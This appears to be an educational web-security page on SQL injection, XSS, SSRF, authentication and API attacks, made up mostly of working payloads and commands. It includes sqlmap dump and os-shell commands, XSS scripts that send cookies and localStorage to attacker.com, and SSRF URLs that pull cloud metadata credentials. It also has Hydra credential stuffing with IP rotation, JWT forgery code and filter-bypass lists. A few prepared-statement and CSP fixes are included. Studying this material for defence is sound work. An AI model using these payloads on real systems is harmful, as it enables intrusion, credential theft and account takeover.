Web Application Attacks
OWASP Top 10, injection attacks, authentication bypass, and API security
Web applications are the #1 entry point for most breaches. Every organization has web-facing assets—login portals, APIs, customer applications. Understanding web vulnerabilities is fundamental to both offensive and defensive security.
SQL Injection
SQL injection occurs when user input is concatenated directly into SQL queries without proper sanitization. Despite being well-known for 25+ years, SQLi remains in the OWASP Top 10 because developers keep making the same mistakes.
Classic SQL Injection
The vulnerable code pattern:
# Vulnerable PHP code - NEVER do this
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
The attack payload:
# In the username field:
admin'--
# The resulting query becomes:
SELECT * FROM users WHERE username='admin'--' AND password='anything'
# Everything after -- is a comment, password check is bypassed
UNION-Based SQLi
When results are displayed, UNION attacks extract data from other tables:
# Step 1: Determine number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- # Error here means 2 columns
# Step 2: Find displayable columns
' UNION SELECT 'a','b'--
# Step 3: Extract data
' UNION SELECT username,password FROM users--
# Step 4: Extract database metadata
' UNION SELECT table_name,column_name FROM information_schema.columns--
Blind SQL Injection
When no output is displayed, extract data through boolean or time-based inference:
# Boolean-based blind SQLi
# Application shows different response based on true/false
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
# If page loads normally, first character of first username is 'a'
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
# If page shows error/different content, first char is NOT 'b'
# Time-based blind SQLi
# No visible difference, but response time varies
' AND IF(1=1, SLEEP(5), 0)-- # 5 second delay = vulnerable
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
SQLMap Automation
SQLMap automates SQLi detection and exploitation:
# Basic detection
sqlmap -u "http://target.com/page?id=1" --batch
# With authentication cookie
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --batch
# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch
# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs
# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump
# Get OS shell (if privileges allow)
sqlmap -u "http://target.com/page?id=1" --os-shell
# Secure code using prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
# The ? placeholders are bound separately - injection impossible
Cross-Site Scripting (XSS)
XSS allows attackers to inject malicious scripts into pages viewed by other users. The script runs in the victim's browser with full access to cookies, DOM, and session.
Reflected XSS
User input is immediately reflected in the response:
<!-- Vulnerable search page -->
<p>Search results for: <?php echo $_GET['q']; ?></p>
<!-- Attack URL -->
http://target.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
<!-- When victim clicks link, their cookies are sent to attacker -->
Stored XSS
Malicious script is stored in the database and served to all users:
<!-- Comment form with no sanitization -->
<!-- Attacker submits this as a "comment": -->
Great article! <script>
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: window.location.href,
localStorage: JSON.stringify(localStorage)
})
});
</script>
<!-- Every user who views the page executes this script -->
DOM-Based XSS
Vulnerability exists entirely in client-side JavaScript:
// Vulnerable JavaScript code
var name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// Attack URL
http://target.com/page#<img src=x onerror=alert(document.cookie)>
// The hash value is never sent to server - pure client-side attack
XSS Filter Bypass Techniques
<!-- Basic filter bypass -->
<ScRiPt>alert(1)</ScRiPt> <!-- Case variation -->
<script/src="http://attacker.com/xss.js"> <!-- Slash instead of space -->
<img src=x onerror=alert(1)> <!-- Event handlers -->
<svg onload=alert(1)> <!-- SVG events -->
<body onpageshow=alert(1)> <!-- Body events -->
<!-- Encoding bypass -->
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="alert(1)">
<!-- JavaScript protocol -->
<a href="javascript:alert(1)">Click</a>
<iframe src="javascript:alert(1)">
<!-- Breaking out of attributes -->
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
<!-- Encode output based on context -->
<p><?php echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); ?></p>
<!-- Content Security Policy header -->
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
<!-- CSP blocks inline scripts and external script loading -->
Server-Side Request Forgery (SSRF)
SSRF tricks the server into making requests to unintended destinations—often internal services that aren't directly accessible from the internet.
Basic SSRF
# Vulnerable code - fetches URL provided by user
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # No validation!
return response.text
# Attack: Access internal services
http://target.com/fetch?url=http://localhost:8080/admin
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/ # AWS metadata
http://target.com/fetch?url=http://192.168.1.1/admin # Internal network
Cloud Metadata Exploitation
Cloud providers expose instance metadata at a link-local address. SSRF can steal credentials:
# AWS - IAM role credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]
# Response contains:
{
"AccessKeyId": "ASIAXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxx",
"Token": "session-token...",
"Expiration": "2024-03-15T12:00:00Z"
}
# GCP - Access token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google
# Azure - Access token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires header: Metadata: true
SSRF Filter Bypass
# Bypass localhost filters
http://127.0.0.1
http://127.1
http://0.0.0.0
http://0
http://localhost
http://[::1]
http://127.0.0.1.nip.io
http://localtest.me
http://127.0.0.1:80@attacker.com # URL parsing confusion
# Bypass IP filters with encoding
http://2130706433 # Decimal for 127.0.0.1
http://0x7f000001 # Hex for 127.0.0.1
http://017700000001 # Octal for 127.0.0.1
# DNS rebinding
# attacker.com resolves to 127.0.0.1 after initial check passes
# Redirect bypass
# Your server redirects to internal address after initial validation
The 2019 Capital One breach exploited SSRF in a WAF misconfiguration to access AWS metadata, stealing credentials that led to 100+ million customer records exposed.
Authentication Attacks
Credential Stuffing
Using leaked credentials from other breaches against your target:
# Using Hydra for credential stuffing
hydra -L usernames.txt -P passwords.txt target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Using ffuf with matched pairs (user:pass per line)
ffuf -w credentials.txt:CRED -u http://target.com/login \
-X POST -d "username=CRED&password=CRED" -mode pitchfork
# Rate limiting bypass - rotate IPs
proxychains hydra -L users.txt -P pass.txt target.com http-post-form "..."
JWT Attacks
# JWT Structure: header.payload.signature
# Attack 1: Algorithm confusion (none)
# Change algorithm to "none", remove signature
import jwt
token = jwt.encode({"user": "admin", "role": "admin"}, key="", algorithm="none")
# Some libraries accept this!
# Attack 2: Algorithm confusion (RS256 to HS256)
# If server uses RS256 (asymmetric), switch to HS256 (symmetric)
# Sign with PUBLIC key (which you can obtain)
public_key = open('public.pem').read()
token = jwt.encode({"user": "admin"}, public_key, algorithm="HS256")
# Attack 3: Weak secret brute force
hashcat -m 16500 jwt_token.txt /wordlists/rockyou.txt
# Attack 4: kid header injection
# {"alg":"HS256","kid":"../../etc/passwd"}
# Server might use file contents as key
Password Reset Flaws
# Host header injection
POST /reset-password HTTP/1.1
Host: attacker.com # Injected host
X-Forwarded-Host: attacker.com
email=victim@target.com
# Reset link sent to victim contains: http://attacker.com/reset?token=xxx
# When victim clicks, token goes to attacker
# Token predictability
# Sequential tokens: token=12345 → try 12346, 12347
# Time-based tokens: MD5(email + timestamp) → brute force timestamps
# Token leakage
# Token in URL → appears in Referer header when clicking external links
# Token in response → visible in browser history
2FA/MFA Bypass
# Response manipulation
# Change {"success": false} to {"success": true} in proxy
# Direct page access
# Skip 2FA page, go directly to /dashboard
# Brute force OTP
# 6-digit code = 1 million combinations
# No rate limiting = brute forceable
# Backup codes
# Often stored insecurely or generated predictably
# SS7 attacks (advanced)
# Intercept SMS via telecom vulnerabilities
# SIM swapping (social engineering)
# Convince carrier to transfer victim's number to attacker's SIM
API Security
Broken Object Level Authorization (BOLA/IDOR)
# Insecure Direct Object Reference
GET /api/users/1001/profile HTTP/1.1
Authorization: Bearer eyJ...
# Change ID to access other users' data
GET /api/users/1002/profile HTTP/1.1 # Another user's profile
GET /api/users/1/profile HTTP/1.1 # Admin profile (ID 1)
# Common IDOR patterns
/api/v1/orders/12345 # Change order ID
/api/v1/invoices/INV-001 # Change invoice number
/api/v1/documents/doc.pdf # Predictable filenames
/api/v1/users/uuid-here # Even UUIDs can be leaked elsewhere
Mass Assignment
// User registration endpoint expects:
{
"username": "newuser",
"email": "user@example.com",
"password": "secure123"
}
// Attacker adds additional fields:
{
"username": "newuser",
"email": "user@example.com",
"password": "secure123",
"role": "admin", // Mass assignment!
"isVerified": true,
"balance": 999999
}
// If backend blindly maps all JSON fields to object properties...
GraphQL Attacks
# Introspection query - map entire schema
{
__schema {
types {
name
fields {
name
type { name }
}
}
}
}
# Query batching - bypass rate limits
[
{"query": "mutation { login(user:\"admin\", pass:\"pass1\") }"},
{"query": "mutation { login(user:\"admin\", pass:\"pass2\") }"},
{"query": "mutation { login(user:\"admin\", pass:\"pass3\") }"}
# ... 1000 login attempts in one request
]
# Nested query DoS (query depth attack)
{
user(id: 1) {
friends {
friends {
friends {
friends { # Exponential database queries
name
}
}
}
}
}
}